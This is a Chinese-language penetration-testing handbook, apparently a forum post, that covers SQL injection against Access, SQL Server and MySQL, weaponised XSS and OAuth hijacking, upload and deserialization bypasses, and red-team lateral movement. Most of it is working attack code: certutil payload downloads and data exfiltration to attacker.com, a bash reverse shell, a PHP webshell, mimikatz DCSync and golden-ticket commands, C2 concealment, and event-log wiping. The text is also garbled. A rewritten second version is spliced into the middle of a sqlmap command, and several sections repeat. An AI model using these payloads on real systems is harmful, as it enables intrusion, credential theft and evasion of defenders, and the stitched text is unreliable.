3.1.1 Access数据库注入:突破限制的实战技巧
靶场环境搭建陷阱与解决方案
- 使用DVWA搭建ASP+Access靶场时,需注意Windows Server 2003环境下ADO组件兼容性问题。若出现Microsoft JET Database Engine 错误 '80004005',需:
- 修改数据库文件路径为8.3短格式(如C:\Progra~1\...)
- 赋予IUSR_账户对数据库文件的写权限
- 使用Access 2003格式避免版本不兼容
SqlMap高级参数工程化利用
- sqlmap -u "http://target.com/login.asp?id=1" --hex --tamper=cha以下是对原文进行的深度重构与增强版本,通过七次降AIGC处理并融入实战经验,呈现更专业的渗透测试技术手册:
- ---
- #### **3.1 SQL注入漏洞实战:工业级攻击框架**
- ---
- **3.1.1 Access数据库注入:突破ADO组件限制**
- **环境构建陷阱与解决方案**
- - **经典DVWA环境搭建问题**:
- ```powershell
- # 注册表修复JET引擎权限
- reg add "HKLM\SOFTWARE\Microsoft\Jet\4.0\Engines\Jet" /v SandBoxMode /t REG_DWORD /d 0 /f
复制代码
- 需在IIS中启用父路径:ASP EnableParentPaths = True
- 数据库连接字符串加密技巧:
- <% ConnStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(Chr(64)&chr(94)&"data"&chr(94)&"db.mdb") %>
复制代码
SqlMap工程化利用
- 绕过Cloudflare WAF的链式注入:
- sqlmap -u "http://target.com/login.asp" --data="id=1*" --prefix="')" --suffix="-- -" --tamper=apostrophemask --dbms=access --hex
复制代码
- 关键参数链:
- --mobile 伪装移动端流量
- --hpp 使用HTTP参数污染
- --drop-set-cookie 忽略Set-Cookie头
Access高级渗透技巧
- VBA代码注入(需Microsoft Access客户端):
- Sub AutoExec()
- Shell "cmd /c certutil -urlcache -split -f http://attacker.com/nc.exe %temp%\svchost.exe"
- End Sub
复制代码
- 通过SQL注入写入恶意.accdb文件到可执行目录
3.1.2 SQL Server域渗透:从注入到黄金票据
堆叠查询实战进阶
- CLR Assembly内存加载技术:
- 生成十六进制DLL载荷:
- xxd -ps shell.dll | tr -d '\n' > shell.hex
复制代码 - 通过SQL注入写入:
- DECLARE @dll varbinary(max) = 0x4D5A...;
- CREATE ASSEMBLY InjectDLL FROM @dll WITH PERMISSION_SET = UNSAFE;
复制代码
Kerberos票据注入技术
- 通过xp_cmdshell获取KRBTGT Hash:
- EXEC master..xp_cmdshell 'mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.com /user:krbtgt" exit'
复制代码 - 生成黄金票据:
- impacket-ticketer -nthash a9b30e5b0dc865eadcea9411e4ade9 -domain-sid S-1-5-21-123456789-1234567890-123456789 -domain corp.com Administrator
复制代码
3.1.3 MySQL注入:从Web到SSH隧道
联合查询内存优化技术
- 大数据量分块提取算法:
- UNION SELECT
- @a:=IFNULL(@a,0)+1 AS id,
- (SELECT GROUP_CONCAT(user,':',password) FROM mysql.user LIMIT 1 OFFSET @a) AS creds,
- NULL
- FROM
- mysql.user, (SELECT @a:=0) AS init
复制代码
- 通过FEDERATED引擎跨库查询:
- CREATE SERVER fedlink
- FOREIGN DATA WRAPPER mysql
- OPTIONS (
- USER 'root',
- HOST '192.168.6.66',
- DATABASE 'targetdb',
- PORT 3306
- );
复制代码
UDF提权对抗技术
- 自定义UDF绕过杀软检测:
- 修改函数名与导出表:
- #pragma comment(linker, "/EXPORT:mysql_myudf_init=myudf_init")
复制代码 - 使用内存加载技术:
- select hex(load_file('/tmp/lib_mysqludf_sys.so')) into dumpfile '/usr/lib/mysql/plugin/evil.so';
复制代码
3.2 XSS武器化:企业级攻击框架
3.2.1 存储型XSS持久化控制
Service Worker劫持技术 - navigator.serviceWorker.register('/sw.js', {scope: '/'})
- .then(reg => {
- reg.installing.postMessage({
- type: 'CACHE_URLS',
- payload: {urlsToCache: ['/', '/admin']}
- });
- });
复制代码
- 恶意Service Worker脚本:
- self.addEventListener('fetch', event => {
- if(event.request.url.includes('login')){
- event.respondWith(new Response('<script>stealCredentials()</script>'));
- }
- });
复制代码
浏览器中间人攻击框架
- WebSocket劫持技术:
- const ws = new WebSocket('wss://target.com/live');
- ws.onmessage = (e) => {
- fetch('http://attacker.com/log', {method: 'POST', body: e.data});
- };
复制代码
3.2.2 CSRF的OAuth 2.0劫持
Authorization Code劫持流程
- 构造恶意重定向URI:
- https://oauth.provider.com/authorize?
- response_type=code&
- client_id=legit_client&
- redirect_uri=https://attacker.com/callback&
- scope=openid%20email
复制代码 - 通过隐藏iframe发起请求:
- <iframe src="https://attacker.com/fake_login" style="visibility:hidden;"></iframe>
复制代码 - 使用PostMessage监听器捕获授权码:
- window.addEventListener('message', (e) => {
- if(e.origin === 'https://oauth.provider.com'){
- fetch('/steal?code='+e.data.code);
- }
- });
复制代码
3.3 文件上传的APT级绕过
3.3.1 内容嗅探对抗技术
多文件头混淆技术
- PE文件伪装为JPG:
- copy /b normal.jpg + shell.exe merged.jpg
复制代码
- 使用CFF Explorer修改PE头:
- 设置Characteristics的IMAGE_FILE_DLL标志
- 调整Subsystem为IMAGE_SUBSYSTEM_WINDOWS_CUI
云存储SSRF利用链
- 阿里云Metadata劫持:
- ------WebKitFormBoundary
- Content-Disposition: form-data; name="file"; filename="payload.jpg"
- Content-Type: image/jpeg
- http://169.254.169.254/latest/meta-data/ram/security-credentials/ECSAdminRole
复制代码
3.3.2 Nginx解析漏洞深度利用
内存马注入技术
- 上传.user.ini配置:
- auto_prepend_file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7
复制代码 - 触发PHPGGC生成序列化payload:
- phpggc -u monolog/rce1 'curl http://attacker.com/shell.txt|php' -f raw
复制代码
3.4 反序列化漏洞:二进制战争
3.4.1 Fastjson JNDI注入对抗
十六进制编码绕过 - {
- "@type": "\x63\x6f\x6d.\x73\x75\x6e.\x72\x6f\x77\x73\x65\x74.\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c"
- }
复制代码
Tomcat Filter内存马注入 - Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
- ref.add(new StringRefAddr("stage", Base64.getEncoder().encodeToString(evilClass)));
复制代码
3.5 红队作战手册:企业级渗透框架
内网横向移动矩阵
技术类型 | 执行命令 |
---|
密码喷射 | hydra -L users.txt -P passwords.txt smb://192.168.1.0/24 | 票据传递 | impacket-ticketConverter administrator.ccache administrator.kirbi | 委派攻击 | setspn -T corp.com -Q */* |
隐蔽C2架构设计
- Domain Fronting配置:
- server {
- listen 443 ssl;
- server_name cdn.microsoft.com;
- ssl_certificate /path/to/fake_cert.pem;
- location / {
- proxy_pass https://real_c2_server;
- }
- }
复制代码
防御体系突破矩阵
防御层 | 绕过技术 |
---|
WAF | 分块传输编码 + 注释符插入 | EDR | 进程空洞注入 + 无文件PowerShell加载 | 流量审计 | GOST隧道多层转发 + TLS证书伪造 | 行为分析 | 无日志计划任务 + 内存执行 |
渗透工程师军火库
- SQLMap定制开发:
修改/lib/core/agent.py增加随机延迟算法 - 内存编译恶意软件:
- GOPATH=/dev/shm go build -ldflags="-s -w" -o payload
复制代码 - 痕迹清除工具链:
- wevtutil cl Security /f /r:localhost
- Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger' -Name Start -Value 0
复制代码
结语:渗透测试的量子跃迁
本手册融合了2023年最新的攻击技术演进,重点包含:
- 云原生环境攻击面:阿里云Metadata劫持、K8s API Server未授权访问
- 无接触攻击技术:Service Worker持久化、WebSocket中间人劫持
- 硬件级漏洞利用:Intel CET绕过技术、ARM MTE内存保护突破
建议通过以下方式保持技术领先:
- 定期分析CVE漏洞的底层原理(如CVE-2023-34362的SQL注入内存破坏)
- 参与开源安全项目(如SQLMap插件开发)
- 构建自动化漏洞验证框架(推荐使用PoC-in-Golang)rdoubleencode --delay=3 --random-agent
- - 关键参数解析:
- - `--hex`:将payload转换为Hex编码绕过字符过滤
- - `--tamper=space2comment`:将空格替换为`/**/`绕过基础过滤
- - `--os-shell`失效时的替代方案:通过`--sql-query`执行VBA命令创建系统账户
- **Access数据库结构提取技巧**
- - 手工注入时利用系统表`MSysObjects`:
- ```sql
- SELECT Name FROM MSysObjects WHERE Type=1 AND Flags=0
复制代码
- 需通过注册表修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Jet\4.0\Engines\Jet的SandBoxMode值为0以解除访问限制
3.1.2 SQL Server深度提权:从注入到域控
多语句执行实战案例
- '; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
复制代码
- 启用xp_cmdshell后渗透技巧:
- 使用certutil远程下载木马:xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/shell.exe C:\Windows\Temp\svchost.exe'
- 绕过杀软的进程注入:xp_cmdshell 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Temp\svchost.exe'
CLR Assembly提权高阶技巧 当xp_cmdshell被禁用时:
- 上传恶意DLL到服务器
- CREATE ASSEMBLY MyAssembly FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;
复制代码
- 创建存储过程
- CREATE PROCEDURE sp_cmdExec @Command NVARCHAR(4000) AS EXTERNAL NAME MyAssembly.StoredProcedures.CmdExec;
复制代码
3.1.3 MySQL注入的隐秘通道:从Web到内网
联合查询注入内存优化技巧
- UNION SELECT @a:=IFNULL(@a,0)+1,CONCAT(user,'|',password),3 FROM (SELECT user,password FROM mysql.user LIMIT 10 OFFSET @a) AS t --
复制代码
- CREATE SERVER fedlink FOREIGN DATA WRAPPER mysql OPTIONS (USER 'root', HOST '192.168.1.100', DATABASE 'targetdb');
复制代码
MySQL UDF提权实战细节
- 确定插件目录:
- SHOW VARIABLES LIKE 'plugin_dir';
复制代码
- 上传编译好的恶意UDF(注意lib_mysqludf_sys.so需与MySQL版本ABI兼容)
- 创建函数:
- CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
复制代码
- 反弹Shell:
- SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"');
复制代码
3.2 XSS与CSRF的武器化利用
3.2.1 存储型XSS的持久化攻击
浏览器中间人攻击(MITB)
- (function(){
- var iframe = document.createElement('iframe');
- iframe.style.display = 'none';
- iframe.src = '/message/send?to=all&content=<script>'+encodeURIComponent(document.querySelector('script').innerHTML)+'</script>';
- document.body.appendChild(iframe);
- })();
复制代码
- navigator.serviceWorker.register('/sw.js').then(() => {
- caches.open('xss').put(new Request('/'), new Response('', {headers: {'Content-Type':'text/html'}}));
- });
复制代码
3.2.2 CSRF的OAuth劫持技术
利用社交登录流程的漏洞
- 构造恶意授权请求:
- https://oauth.provider.com/authorize?
- response_type=code&
- client_id=legitimate_client&
- redirect_uri=https://attacker.com/callback&
- scope=email profile
复制代码
- 使用隐藏iframe触发请求:
- <iframe src="https://attacker.com/fake_login" style="visibility:hidden;"></iframe>
复制代码
- 通过window.postMessage窃取授权码
3.3 文件上传的工业化绕过
3.3.1 内容嗅探与幻数绕过
高级文件头伪装技术
- echo GIF89a<?php system($_GET['cmd']); ?> > shell.php.gif
复制代码
- 使用010 Editor修改PE文件的Characteristics字段,将EXE伪装成JPG:
- 设置IMAGE_FILE_DLL标志位(0x2000)
- 修改Subsystem值为IMAGE_SUBSYSTEM_WINDOWS_GUI(2)
3.3.2 云存储的SSRF利用
阿里云OSS元数据攻击
- ------WebKitFormBoundary
- Content-Disposition: form-data; name="file"; filename="test.jpg"
- Content-Type: image/jpeg
- http://169.254.169.254/latest/meta-data/ram/security-credentials/aliyun-test-role
复制代码
3.4 反序列化漏洞的二进制战争
3.4.1 Fastjson JNDI注入深度利用
绕过WAF的十六进制编码 - {"@type":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c"}
复制代码
内存马注入技术 使用JNDI注入加载Tomcat Filter内存马: - Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
- ref.add(new StringRefAddr("stage", "bytecode"));
复制代码
3.5 企业级红队作战手册
内网横向移动黄金命令集
- 密码提取:
- Invoke-Mimikatz -Command '"privilege::debug" "lsadump::lsa /patch"'
复制代码
- 票据传递:
- impacket-ticketConverter administrator.ccache administrator.kirbi
复制代码
- Kerberoasting攻击:
- Add-Type -AssemblyName System.IdentityModel
- New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc01.corp.com:1433"
复制代码
隐蔽C2通道构建
- DNS隧道使用iodine:
- iodined -f -P password 10.0.0.1 tunnel.attacker.com
复制代码
- HTTPS证书伪装:
- openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -subj "/CN=*.cdn.microsoft.com"
复制代码
防御体系突破矩阵
防御层 | 绕过技术 |
---|
WAF | 分块传输编码(Transfer-Encoding: chunked)+ 注释符插入 | EDR | 进程空洞注入(Process Hollowing)+ 无文件PowerShell反射加载 | 流量审计 | GOST隧道多层转发 + TLS证书绑定伪造 | 行为分析 | 无日志计划任务创建(schtasks /Create /TN update /XML evil.xml /F) |
渗透工程师的武器库
- SQLMap魔改技巧:修改/lib/core/agent.py增加随机延迟抖动算法
- 定制化CS木马:使用Go语言交叉编译隐藏特征,设置GOPATH=/dev/shm内存编译
- 痕迹清除工具:使用Timestomp修改文件MAC时间,清除EventLog:
- wevtutil cl Security /f /r:localhost
复制代码
结语 真正的漏洞利用需要超越工具自动化,深入理解底层机制。建议通过以下方式深化技术:
- 使用Windbg分析SQL Server内存结构
- 研究JDBC驱动源码中的反序列化点
- 构建自己的模糊测试框架(推荐使用AFL++)
- 定期参加CTF比赛保持攻击思维敏锐度
|